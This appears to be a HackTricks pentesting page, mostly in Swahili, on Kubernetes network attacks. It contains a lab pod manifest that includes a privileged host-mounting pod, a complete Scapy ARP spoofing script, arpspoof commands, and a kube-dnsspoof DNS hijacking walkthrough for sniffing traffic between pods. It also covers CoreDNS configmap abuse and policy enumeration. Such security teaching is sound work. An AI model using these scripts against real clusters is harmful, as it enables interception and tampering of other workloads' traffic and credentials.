# Kubernetes Network Attacks {{#include ../../banners/hacktricks-training.md}} ## Utangulizi Katika Kubernetes, imeonekana kuwa tabia ya default huruhusu uanzishaji wa connections kati ya **all containers zilizo kwenye node ileile**. Hii hutumika bila kujali tofauti za namespace. Uunganisho huu unaenea hadi **Layer 2** (Ethernet). Kwa hiyo, configuration hii inaweza kufichua system kwa vulnerabilities. Kwa usahihi, inafungua uwezekano kwa **malicious container** kutekeleza **ARP spoofing attack** dhidi ya containers nyingine zilizo kwenye node ileile. Wakati wa shambulio kama hilo, malicious container inaweza kwa udanganyifu kuingilia au kubadilisha network traffic iliyokusudiwa kwa containers nyingine. ARP spoofing attacks huhusisha **attacker kutuma falsified ARP** (Address Resolution Protocol) messages kupitia local area network. Hii husababisha kuunganishwa kwa **MAC address ya attacker na IP address ya computer au server halali kwenye network**. Baada ya kutekelezwa kwa mafanikio kwa attack kama hiyo, attacker anaweza kuingilia, kubadilisha, au hata kusimamisha data in-transit. Attack hii hutekelezwa kwenye Layer 2 ya OSI model, ndiyo sababu default connectivity katika Kubernetes kwenye layer hii huibua wasiwasi wa usalama. Katika scenario hii mashine 4 zitaundwa: - ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack) - **ubuntu-attack**: **Malicious** container in default namespace - **ubuntu-victim**: **Victim** machine in kube-system namespace - **mysql**: **Victim** machine in default namespace ```yaml echo 'apiVersion: v1 kind: Pod metadata: name: ubuntu-pe spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-pe securityContext: allowPrivilegeEscalation: true privileged: true runAsUser: 0 volumeMounts: - mountPath: /host name: host-volume restartPolicy: Never hostIPC: true hostNetwork: true hostPID: true volumes: - name: host-volume hostPath: path: / --- apiVersion: v1 kind: Pod metadata: name: ubuntu-attack labels: app: ubuntu spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-attack restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: ubuntu-victim namespace: kube-system spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-victim restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: mysql spec: containers: - image: mysql:5.6 ports: - containerPort: 3306 imagePullPolicy: IfNotPresent name: mysql env: - name: MYSQL_ROOT_PASSWORD value: mysql restartPolicy: Never' | kubectl apply -f - ``` ```bash kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash" kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` ## Basic Kubernetes Networking Ukihitaji maelezo zaidi kuhusu mada za networking zilizowasilishwa hapa, nenda kwenye references. ### ARP Kwa ujumla, **pod-to-pod networking ndani ya node** inapatikana kupitia **bridge** inayounganisha pods zote. Bridge hii inaitwa “**cbr0**”. (Baadhi ya network plugins zitaweka bridge yao wenyewe.) **cbr0 pia inaweza kushughulikia ARP** (Address Resolution Protocol) resolution. Wakati packet inayoingia inapowasili kwenye cbr0, inaweza kutatua destination MAC address kwa kutumia ARP. Hii inaashiria kwamba, kwa default, **kila pod inayokimbia kwenye node ileile** itaweza **kucommunicate** na pod nyingine yoyote kwenye node ileile (bila kujali namespace) katika kiwango cha ethernet (layer 2). > [!WARNING] > Kwa hiyo, inawezekana kufanya A**RP Spoofing attacks kati ya pods kwenye node ileile.** ### NetworkPolicy and admin policy layers Kubernetes `NetworkPolicy` ni pod traffic control katika L3/L4, lakini inatekelezwa na CNI plugin na si na API server yenyewe. Cluster inaweza kuhifadhi objects za NetworkPolicy wakati bado inaruhusu traffic ikiwa active CNI haiitekelezi, kwa hiyo kila mara thibitisha kwa kutumia controlled allowed source na blocked negative-control source. Usiishie kwenye `kubectl get networkpolicy -A`. Clusters zinazotumia Cilium, Calico, OVN-Kubernetes, Antrea, au managed-provider dataplanes zinaweza pia kuwa na policy APIs kama `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy`, au `BaselineAdminNetworkPolicy`. Hizi zinaweza kuongeza explicit deny, tier/order, cluster scope, L7/DNS rules, au admin guardrails ambazo kawaida additive Kubernetes NetworkPolicy semantics hazifafanui. Useful first checks: ```bash kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico' kubectl get networkpolicy -A kubectl get cnp,ccnp -A 2>/dev/null kubectl get globalnetworkpolicy -A 2>/dev/null kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null ``` Kwa uchambuzi wa bypass, angalia kama block iliyokusudiwa inaepukwa kupitia allowed proxy, DNS au egress gateway, `hostNetwork` pod, node-local path, broad namespace au pod label selector, au higher-precedence admin/global policy. Ripoti source pod labels, namespace labels, destination Service au EndpointSlice, CNI/policy implementation, deciding policy rule, na traffic proof. ### DNS Katika mazingira ya kubernetes kwa kawaida utapata 1 (au zaidi) **DNS services running** kwa kawaida katika namespace ya kube-system: ```bash kubectl -n kube-system describe services Name: kube-dns Namespace: kube-system Labels: k8s-app=kube-dns kubernetes.io/cluster-service=true kubernetes.io/name=KubeDNS Annotations: prometheus.io/port: 9153 prometheus.io/scrape: true Selector: k8s-app=kube-dns Type: ClusterIP IP Families: IP: 10.96.0.10 IPs: 10.96.0.10 Port: dns 53/UDP TargetPort: 53/UDP Endpoints: 172.17.0.2:53 Port: dns-tcp 53/TCP TargetPort: 53/TCP Endpoints: 172.17.0.2:53 Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` Katika maelezo ya awali unaweza kuona kitu cha kuvutia, **IP ya service** ni **10.96.0.10** lakini **IP ya pod** inayoendesha service hiyo ni **172.17.0.2.** Ukikagua anwani ya DNS ndani ya pod yoyote utapata kitu kama hiki: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` Hata hivyo, pod **haijui** jinsi ya kufika kwenye **anwani** hiyo kwa sababu **pod range** katika kesi hii ni 172.17.0.10/26. Kwa hiyo, pod itatuma **DNS requests kwenda kwenye anwani 10.96.0.10** ambayo itakuwa **imetafsiriwa** na cbr0 **kuwa** **172.17.0.2**. > [!WARNING] > Hii inamaanisha kuwa **DNS request** ya pod **daima** itaenda kwenye **bridge** ili **kutafsiri** **service IP kwenda endpoint IP**, hata kama DNS server iko kwenye subnetwork ileile kama pod. > > Kwa kujua hilo, na kwa kujua **ARP attacks zinawezekana**, **pod** ndani ya node itaweza **kushika trafiki** kati ya **kila pod** kwenye **subnetwork** na **bridge** na **kubadilisha** **DNS responses** kutoka kwa DNS server (**DNS Spoofing**). > > Zaidi ya hayo, ikiwa **DNS server** iko katika **node ileile kama attacker**, attacker anaweza **kushika DNS request zote** za pod yoyote kwenye cluster (kati ya DNS server na bridge) na kubadilisha responses. > [!NOTE] > Hakiki CNI inayotumika na njia ya DNS kabla ya kudhani hii inafanya kazi katika cluster ya kweli. Baadhi ya CNIs hupanga au kutenga traffic ya same-node kwa njia tofauti, na clusters zinazotumia NodeLocal DNSCache zinaweza kutuma DNS queries za pod kwenda kwenye node-local address kabla ya kuforward kwenda CoreDNS. Katika mazingira hayo, DNS spoofing inategemea pod placement, packet capabilities, resolver configuration, tabia ya node-local cache, na kama applications huthibitisha peers kwa TLS au utaratibu mwingine wa identity. ## ARP Spoofing in pods in the same Node Lengo letu ni **kuiba angalau mawasiliano kutoka ubuntu-victim kwenda mysql**. ### Scapy ```bash python3 /tmp/arp_spoof.py Enter Target IP:172.17.0.10 #ubuntu-victim Enter Gateway IP:172.17.0.9 #mysql Target MAC 02:42:ac:11:00:0a Gateway MAC: 02:42:ac:11:00:09 Sending spoofed ARP responses # Get another shell kubectl exec -it ubuntu-attack -- bash ngrep -d eth0 # Login from ubuntu-victim and mysql and check the unencrypted communication # interacting with the mysql instance ``` ```python:arp_spoof.py #From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py from scapy.all import * def getmac(targetip): arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip) targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc return targetmac def spoofarpcache(targetip, targetmac, sourceip): spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac) send(spoofed, verbose= False) def restorearp(targetip, targetmac, sourceip, sourcemac): packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip) send(packet, verbose=False) print("ARP Table restored to normal for", targetip) def main(): targetip= input("Enter Target IP:") gatewayip= input("Enter Gateway IP:") try: targetmac= getmac(targetip) print("Target MAC", targetmac) except: print("Target machine did not respond to ARP broadcast") quit() try: gatewaymac= getmac(gatewayip) print("Gateway MAC:", gatewaymac) except: print("Gateway is unreachable") quit() try: print("Sending spoofed ARP responses") while True: spoofarpcache(targetip, targetmac, gatewayip) spoofarpcache(gatewayip, gatewaymac, targetip) except KeyboardInterrupt: print("ARP spoofing stopped") restorearp(gatewayip, gatewaymac, targetip, targetmac) restorearp(targetip, targetmac, gatewayip, gatewaymac) quit() if __name__=="__main__": main() # To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward ``` ### ARPSpoof ```bash apt install dsniff arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing Kama ilivyotajwa tayari, ukipata **compromise ya pod kwenye node moja na pod ya DNS server**, unaweza kufanya **MitM** kwa kutumia **ARPSpoofing** dhidi ya **bridge** na pod ya **DNS** na **kurekebisha majibu yote ya DNS**. Una **tool** na **tutorial** nzuri sana ya kujaribu hili katika [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) Katika scenario yetu, **pakua** **tool** ndani ya attacker pod na uunde **file linaloitwa `hosts`** lenye **domains** unazotaka **spoof** kama: ``` cat hosts google.com. 1.1.1.1 ``` Tekeleza attack kwenye machine ya ubuntu-victim: ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 Bridge: 172.17.0.1 02:42:bd:63:07:8d Kube-dns: 172.17.0.2 02:42:ac:11:00:02 [+] Taking over DNS requests from kube-dns. press Ctrl+C to stop ``` ```bash #In the ubuntu machine dig google.com [...] ;; ANSWER SECTION: google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] > If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\ > You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction). ## DNS Spoofing via coreDNS configmap Mtumiaji aliye na ruhusa za kuandika juu ya configmap `coredns` katika namespace `kube-system` anaweza kurekebisha majibu ya DNS ya cluster. Pia kagua NodeLocal DNSCache ikiwa imewekwa. Kwa kawaida huendeshwa kama hostNetwork DaemonSet na ina ConfigMap yake, logs, cache, na forwarding path yake. Mabadiliko ya CoreDNS huenda yasiwe mahali pekee ambapo tabia ya DNS inaweza kuathiriwa au kuonekana. Angalia taarifa zaidi kuhusu shambulio hili katika: {{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}} ## Abusing exposed kubernetes management services Services kama Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, na Kubernetes dashboard mara nyingi huwekwa wazi ama kwa internet au ndani ya kubernetes network. Mshambuliaji anayefaulu **kupata jukwaa lolote linalotumika kusimamia kubernetes na kulifikia** anaweza kulitumia kupata access ya kubernetes API na kufanya actions kama kuunda pods mpya, kurekebisha zilizopo, au hata kuzifuta. ## Enumerating kubernetes network policies Pata **networkpolicies** zilizosanidiwa: ```bash kubectl get networkpolicies --all-namespaces ``` Pata **Callico** network policies: ```bash kubectl get globalnetworkpolicy --all-namespaces ``` Pata **Cillium** network policies: ```bash kubectl get ciliumnetworkpolicy --all-namespaces ``` Pata CRDs nyingine zinazohusiana na policy zilizosakinishwa na network plugin yako au security solution: ```bash kubectl get crd | grep -i policy ``` ## Kukamata Traffic Chombo [**Mizu**](https://github.com/up9inc/mizu) ni simple-yet-powerful API **traffic viewer for Kubernetes** inayokuwezesha **kuona mawasiliano yote ya API** kati ya microservices ili kusaidia debug na troubleshoot regressions.\ It will install agents katika pods zilizochaguliwa na kukusanya taarifa zao za traffic na kukuonyesha kwenye web server. Hata hivyo, utahitaji high K8s permissions kwa hili (na si very stealthy). ## References - [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1) - [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters) {{#include ../../banners/hacktricks-training.md}}